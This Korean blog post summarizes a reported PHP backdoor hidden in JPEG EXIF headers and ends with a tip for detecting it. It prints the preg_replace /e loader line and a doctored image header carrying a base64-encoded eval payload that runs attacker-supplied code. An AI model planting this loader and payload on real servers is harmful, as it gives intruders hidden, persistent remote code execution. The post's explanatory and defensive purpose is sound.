어제(2013-07-17) 해외 보안팀 블로그에서 자신들과 협업 사이트인 곳 중 한 군대에서 EXIF 헤더를 이용한 백도어를 발견했다고 글이 올라왔었다.

지금까지 본 이미지 백도어 중에서 가장 실효성이 높고 탐지도 어려운 것 같아 이렇게 정리하는 글을 남긴다.


 - 원본 : http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html


가장 중요한 아이디어는 preg_replace() 함수에서 /e 옵션을 쓴다는 것이다.(http://php.net/manual/en/function.preg-replace.php) 먼저 악의적인 공격자는 웹 서버를 해킹 한 후 아래와 같은 코드를 일반 페이지에 삽입하여 둔다.


$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');

preg_replace($exif['Make'],"", $exif['Model']);


그 후 다음과 같이 조작한 JPEG 파일을 서버에 업로드한다. 이때 업로드 하지 않고 기존에 서버에서 사용하고 있던 JPEG 파일을 조작 해 사용해도 된다는 점이 중요한 듯 싶다.


ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@

^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^

@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd

HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));

@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^


"/.*/e" 부분이 $exif['Make'] 필드이고, "eval ( base64_decode" 부분이 $exif['Model'] 필드 부분이다. 그러므로 실행 될 때는 다음과 같은 형태가 된다.


preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");


이렇게 되면 preg_replace() 함수는 /e 옵션을 인식하고 "@ eval ( base64_decode" 부분을 실행하게 된다.


실행하게 되는 부분은 Sneak PHP 코드를 사용해도 무방하고, 다른 어떠한 코드를 사용해도 상관 없다.


preg_replace() 함수는 일반적으로도 많이 쓰이는 함수이기 때문에 정상 페이지에 삽입하여 둔다면 쉽게 찾아내지 못한다. 또 일반 이미지에 백도어 코드를 심어둔다면 이 또한 쉽게 발견하지 못하므로 추후 2차 피해가 다시 발생 할 가능성이 굉장히 높아진다.(물론 백도어를 심는 행위 자체가 2차 피해를 발생시킨다는 것을 반증 하는 행위이다.)


그럼 해당 공격은 어떻게 탐지해야 할까? 

preg_replace() 함수 코드를 찾는다면 쉽게 백도어 이미지를 찾을 수 있겠지만, 만약에 해당 사실을 인지하지 못하고 있는 상황에서 이와 같은 사실을 발견하고자 한다면 개인적으로 생각하기에는 기존의 이미지 파일 수정 날짜가 최근으로 변경되어 있는지 확인 해 보는 방법이 좋다고 생각한다.

+ Recent posts